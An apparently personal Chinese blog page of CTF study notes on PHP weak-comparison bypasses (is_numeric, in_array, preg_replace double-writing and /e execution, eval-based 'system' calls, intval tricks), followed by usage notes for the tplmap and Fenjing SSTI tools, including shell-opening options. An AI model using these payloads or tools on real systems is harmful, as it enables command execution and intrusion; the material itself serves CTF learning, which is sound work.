一只鼍的博客 | Glory's blog

无欲无求,笑口常开

  is_numeric()函数用于检查变量是否为数字或数字字符串。属于布尔类型,如果指定的变量是数字和数字字符串则返回TRUE,否则返回FALSE,注意浮点型返回空值,即FALSE。

空字符绕过

  可以借助URL编码中的空字符,例如%00或者%20,其中%00加在前面或者后面都可以,也就是%00404或者404%00,而%20只能放在末尾,比如404%20(%20准确来说是空格字符)

1
2
3
4
数字-->非数字:
数值%20
%00数值
数值%00

  当然还可以这样构造:

1
2
3
?num=1'
?num=1,
?num=1%00

  都可以绕过判断

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo $flag;
}

   其实题目的核心是弱比较的特性,我们只要知道这个函数的返回类型和作用就过关了(っ◞‸◟c)

  hackbar是一个用于谷歌和火狐浏览器的扩展插件,可以在浏览器的扩展直接下载添加,然后按F12即可,具体使用方法和操作可以在网上搜一抓一大把,(建议下载cracked&fixed版本的,新版本好像要激活码还是什么的)我这里只做一个指路引导的作用。(U・ω・)⊃
   我们可以通过它进行自定义发送,手动构造GET,POST和COOKIE管理等方法,还具备有URL编码,base64编码,MD5加密 等的能力,还有很多功能等你慢慢沉淀挖掘,实用指数⭐⭐⭐⭐⭐

  in_array函数的功能用于检查数组是否存在某个值或者是不是数组。定义:布尔型函数,参数为($needle,$haystack,[$strict = FALSE]),在$haystack中搜索$needle,如果第三个参数$strict的值为TRUE(没有默认为FALSE),则该函数会进行强检查(相等于===),检查$needle的类型是否和$haystack中的相同。如果找到$haystack,则返回TRUE,否则返回FALSE。

in_array缺陷

  根据上面所描述的,当该函数没有设置第三个参数的时候,只会进行弱类型比较(相当于==),也就是不会检查数据类型,例如
in_array
  根据上面白名单规定,只能上传1~24的文件名,因为没有第三个参数,进行弱比较,所以我们上传3shell.php的时候,只要第一个匹配就可以了,从而绕过了白名单,达到了任意文件上传的目的。类似的还有:

1
2
3
4
5
6
7
8
<?php
$id = 3 and 1=1;
$whitelist = range(1,5);
if(!in_array($id,$whitelist))
echo "error";
else
echo $flag;
?>

  这里我们有没有设置第三个参数,进行弱类型比较,同样绕过了白名单,这里需要注意的是in_array的返回类型,匹配了返回什么,还有注意前面的!,在preg_match等匹配的时候有常出现,要知道它的作用。

  preg_replace 函数执行一个正则表达式的搜索和替换。相比于preg_match 函数它多了一个替换的功能(没错,说了一句废话)
  通常来说,它有三个参数,preg_repalce($pattern,$repalcement,$subject);–>搜索$subject中匹配$pattern的部分,并以$replacement进行替换。话不多说,看题目就懂了。
注:str_replace也是一样的特性,区别是正则的规则匹配

双写绕过

1
2
3
4
5
6
7
8
9
10
if(isset($_GET["str"]))
{
$str = preg_replace('/HYNUCTF/',"",$_GET['str']);
if($str === "HYNUCTF")
{
echo $flag;
}
else
die('菜,就多练');
}

  既然HYNUCTF组合会变为空那么可以通过双写拼接进行绕过,原理跟sql注入的关键字绕过差不多。
payload:HYNUHYNUCTFCTF
  红色部分被替换成了空,那么剩下的就拼接成了是吧。

eval创建新变量绕过

  这是个很有用的地方,很多题型都适用这个,当遇到过滤了关键字符或者没有头绪的时候,可以使用这个方法进行创建一个新变量去执行它。
  例如

1
2
3
4
$str = preg_replace('/system/',"",$_GET['str']);
······
payload:
?str=eval($_GET['A']);&A=system('ls');

  这是利用eval执行system命令去寻找拥有flag的页面,后续同理我们可以使用GET和POST方法来进行绕过。

经典漏洞/e

  preg_replace函数的特性,/e可执行模式,此为PHP专有参数,例如preg_replace函数。也就是说,它的$repalcement部分会被当做命令执行。

1
2
3
4
5
<?php
if(isset($_GET['str']))
{
echo preg_replace('/HYNUCTF/e',$_GET['str'],"XTWASYS");
}

  此时传入?str=system(“ls”);就可执行此代码。

  intval()函数用来获取变量的整数值,使用的时候常见的有两种情况:
 1.转换整数时,返回整数本身
 2.转换字符串时,会从字符串的开始进行转换,直到遇到一个非数字的字符,如果字符串的第一个字符不是整数,则返回0

数组绕过

 如果它的值为一个数组,只要数组里面有值,那么不论值的数量,返回值都为1,空数组则返回0

1
2
3
$b[]=1;
echo $b;
echo intval($b);

  输出

1
2

Array1

字符串绕过

  类似于’1000’,’2 or id = 1000’的这种带单引号或者有字符的类型,intval()函数会从字符串的开始进行转换,直到遇到非数字的字符,例如第二个转换到or的时候,由于or不是数字类型的字符,从而停止转换,转换的结果就只有2。

字符串类型&进制绕过

字符串类型&进制绕过

阅读全文 »

tplmap.py

tplmap介绍

  Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。(说的高级吧,其实选用其他博主的(●’◡’●))实用指数⭐⭐⭐

安装方法

  在kali或者linux安装即可

1
git clone https://github.com/epinna/tplmap

  进入该文件夹下安装依赖(就是安装库啦)

1
2
cd tplmap
pip install -r requirements.txt

  如果安装报错了,不妨试一试pip2安装,别问我怎么知道的,我就是(ᇂ_ᇂ|||)

常用命令

1
2
3
4
GET:
python3 tplmap.py -u <URL:>?name=
POST:
python3 tplmap.py -u <URL:> --data= name=

tplmap

  如上面所示,可以得出模板是jinja2,如果下面那一段显示yes或者ok,那么可以直接用shell指令(–os-shell)。

  更多用法可以用help查看,很多python脚本都可以这样做(不认识英文直接去找翻译(ง •̀_•́)ง加油)

1
python3 tplmap.py --help

Fenjing(焚靖)

fenjing介绍

  焚靖是一个针对CTF比赛中Jinja2 SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。能解决常规性的SSTI题目,实用指数⭐⭐⭐

安装方法

  在windows环境下安装最方便,本人尝试在kali安装失败了很多次,各种报错,最后放弃了。 (;′⌒`)

1
pip install fenjing -i https://pypi.tuna.tsinghua.edu.cn/simple

常用命令

1
python -m fenjing scan --url <URL:>

  该命令执行完毕后会反弹一个shell

1
python -m fenjing webui

  会在本地弹出一个可视化操作页面,然后在根据要求填充和执行(方便新手去使用)

1
python -m fenjing crack --url <URL:> --method GET(POST) --inputs name(user)

  一把梭(说实话还是上面两个命令好用些(/_\)大怨种)

 更为详细的在 here

0%